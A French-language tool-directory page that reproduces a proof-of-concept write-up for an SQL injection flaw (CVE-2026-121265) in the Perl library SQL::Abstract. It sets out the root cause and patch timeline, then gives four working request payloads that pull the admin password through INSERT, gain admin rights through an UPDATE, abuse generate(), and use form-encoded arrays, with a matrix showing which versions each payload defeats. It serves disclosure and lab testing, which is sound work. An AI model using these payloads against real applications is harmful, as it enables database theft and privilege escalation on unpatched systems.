Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/googlesky/cve-2026-121265
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebSécurité des Bases de DonnéesLabs et Pratique
GitHubgooglesky/cve-2026-121265

CVE-2026-121265

PoC et laboratoire conteneurisé pour CVE-2026-121265, une injection SQL via arrayref dans SQL::Abstract avant 2.000003, avec exfiltration par INSERT/UPDATE, élévation de privilèges et vecteurs generate().

Voir le dépôt
il y a 2 joursPas encore vérifié
Partager

CVE-2026-121265 : injection SQL via arrayref dans SQL::Abstract

Cause racine : avec l'option array_datatypes désactivée (le comportement par défaut avant la version 2.000002), SQL::Abstract traite une valeur de colonne de type arrayref comme du SQL littéral dans insert(), update() et values() : l'élément [0] est inséré dans le texte SQL sans échappement et les autres deviennent des valeurs de liaison. Un attaquant qui contrôle n'importe quelle valeur de colonne -- par exemple un tableau JSON dans le corps d'une requête, ou un champ de formulaire répété/multi-valeurs décodé en arrayref -- obtient une injection SQL non authentifiée dans toute application qui transmet des données de requête à insert/update. La même faille a survécu au premier cycle de correctifs dans generate() (et donc dans AUTOLOAD lorsque allow_autoload est activé), ce qui explique pourquoi l'avis couvre toutes les versions antérieures à 2.000003.

CVECVE-2026-121265
AvisCPAN Security Group, oss-sec 2026-11-07
CWECWE-89 (Injection SQL)
AffectéSQL::Abstract < 2.000003 (1.87, 2.000000, 2.000001, 2.000002, dev 2.000001_01.._05)
Corrigé2.000003 (generate() corrigé ; 2.000002 corrigeait insert/update/values + inversait la valeur par défaut de array_datatypes mais omettait generate())
ImpactInjection SQL complète : exfiltration de données, élévation de privilèges, altération du schéma
Référenceshttps://seclists.org/oss-sec/2026/q4/574 , https://github.com/dbsrgits/sql-abstract

1. Cause racine

SQL-Abstract-2.000001, _expand_insert_value() :

if (ref($v) eq 'ARRAY') {
    if ($self->{array_datatypes}) {
        return +{ -bind => [ $k, $v ] };
    }
    my ($sql, @bind) = @$v;
    $self->_assert_bindval_matches_bindtype(@bind);
    return +{ -literal => $v };   # <-- element [0] inlined into the SQL text, unescaped
}

Le même schéma existait dans _expand_update_set_values() et dans generate() (à la fois la branche hashref "$label = $sql" et la branche arrayref) :

$sqla->update('t', { name => ["x, is_admin = 1"] });
# < 2.000002 default: UPDATE t SET name = x, is_admin = 1
# 2.000002+:           UPDATE t SET name = ?          (bind: ['x, is_admin = 1'])

$sqla->generate('update t', { name => ["(SELECT password FROM users)"] });
# 2.000002:            UPDATE T SET name = (SELECT password FROM users)   <-- still vulnerable
# 2.000003:            UPDATE T SET name = ?                               (bind)

Chronologie des correctifs (d'après les Changes 2.000002 / 2.000003) :

  • 2.000001_05 (2026-11-03) : correctif incomplet.
  • 2.000002 (2026-11-05) : array_datatypes activé par défaut ; insert() / update() / values() corrigés. generate() laissé sans traitement.
  • 2.000003 (2026-11-06) : generate() (et AUTOLOAD) corrigés ; \[ $sql, @bind ] devient la forme SQL littérale documentée.

Un attaquant atteint la valeur arrayref via n'importe quel décodeur qui en produit une :

  • Corps JSON : {"email": ["(SELECT ...)"]} → arrayref.
  • Données de formulaire : champs répétés / every_param() / param() en contexte de liste (CGI.pm, Catalyst, Mojolicious, ...).

2. Lab

Labo A/B conteneurisé (podman). Une image par version de SQL::Abstract, plus une version ARRAY_DATATYPES=0 de 2.000003 pour exercer le contournement.

cve-target (bounded)                       cve-pocN attacker (bounded, --rm)
image cvelab-target:<ver>                  same image as runtime + ./poc:/poc
- debian:bookworm-slim                     perl + Mojo::UserAgent
- SQL::Abstract <ver> built from CPAN src
- DBD::SQLite + Mojolicious
- app.pl  JSON API "Corp Portal"

Points de terminaison :

Point de terminaisonDestinationUtilisé par
POST /api/registerinsert() depuis le corps JSONPoC 1
POST /api/register-forminsert() depuis le formulaire (tableau every_param)PoC 4
POST /api/me/updateupdate() depuis le corps JSONPoC 2
POST /api/save-formgenerate() pour construire une clause SETPoC 3
POST /api/login, GET /api/me, GET /api/admin/flag, GET /api/admin/secretsparamétréexfiltration / impact
cd lab
./run_matrix.sh     # build + run the full version/config matrix, transcripts -> evidence/
./run_poc.sh all    # run PoC 1..4 against the running target

3. PoC

PoC 1 -- Injection INSERT, exfiltration du mot de passe administrateur (poc/poc1_insert_exfil.pl)

POST /api/register
{"username":"poc1_<ts>","email":["(SELECT password FROM users WHERE username='admin')"],"password":"x"}

SQL généré (2.000001) : INSERT INTO users (email, password, username) VALUES (?, ?, (SELECT password FROM users WHERE username='admin')) -- le résultat de la sous-requête est stocké comme e-mail de l'attaquant et renvoyé dans le profil : FLAG{adm1n_p4ssw0rd_51337}.

PoC 2 -- Injection UPDATE, élévation de privilèges (poc/poc2_update_escalate.pl)

POST /api/me/update            (X-Api-Key: <regular user token>)
{"bio":["'x', is_admin = 1 --"],"email":"..."}

SQL généré : UPDATE users SET bio = 'x', is_admin = 1 --, email = ? WHERE id = ? Le -- met le reste de l'instruction en commentaire (DBD::SQLite ignore silencieusement les valeurs de liaison désormais inutilisées). L'utilisateur ordinaire devient admin et lit GET /api/admin/flag -> FLAG{c0rp_p0rt4l_pr0duct10n_fl4g_2026}.

PoC 3 -- Injection via generate() / AUTOLOAD (poc/poc3_generate_autoload.pl)

POST /api/save-form
{"fields":{"bio":["'x', is_admin = 1 --"]}}

Le point de terminaison construit une clause SET avec generate() et l'insère dans un UPDATE. Fonctionne sur 2.000001 et toujours sur 2.000002, où insert()/update() étaient déjà corrigés -- preuve directe que 2.000002 reste exploitable via le dernier chemin corrigé en 2.000003.

PoC 4 -- vecteur form-urlencoded (poc/poc4_form_array.pl)

POST /api/register-form   (application/x-www-form-urlencoded)
username=poc4_<ts>&password=x&tags=(SELECT password FROM users WHERE username='admin')

every_param('tags') renvoie une arrayref -> la même primitive que le tableau JSON, sans JSON impliqué.

4. Matrice des résultats

Transcriptions complètes dans evidence/. Code de sortie 0 = exploitation réussie.

PoC2.0000012.0000022.0000032.000003 + array_datatypes=0
PoC 1 INSERT exfil✅❌❌✅ contournement
PoC 2 UPDATE escalation✅❌❌✅ contournement
PoC 3 generate()✅✅❌✅ contournement
PoC 4 form✅❌❌✅ contournement

5. Constats supplémentaires

Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    972
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    666
  • 3

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    424
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer est une plateforme open-source de Gestion des Accès Privilégiés (PAM) qui offre aux équipes DevOps et IT un accès sécurisé et à la demande aux terminaux SSH, RDP, Kubernetes, bases de données et RemoteApp via un navigateur web.

    389
  • 5

    SafeLine

    chaitin/safeline

    WAF auto-hébergé et proxy inverse qui filtre le trafic HTTP malveillant, bloque les injections SQL, les XSS et les attaques de robots, avec limitation de débit et chiffrement dynamique HTML/JS.

    337
  • 6

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    331

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →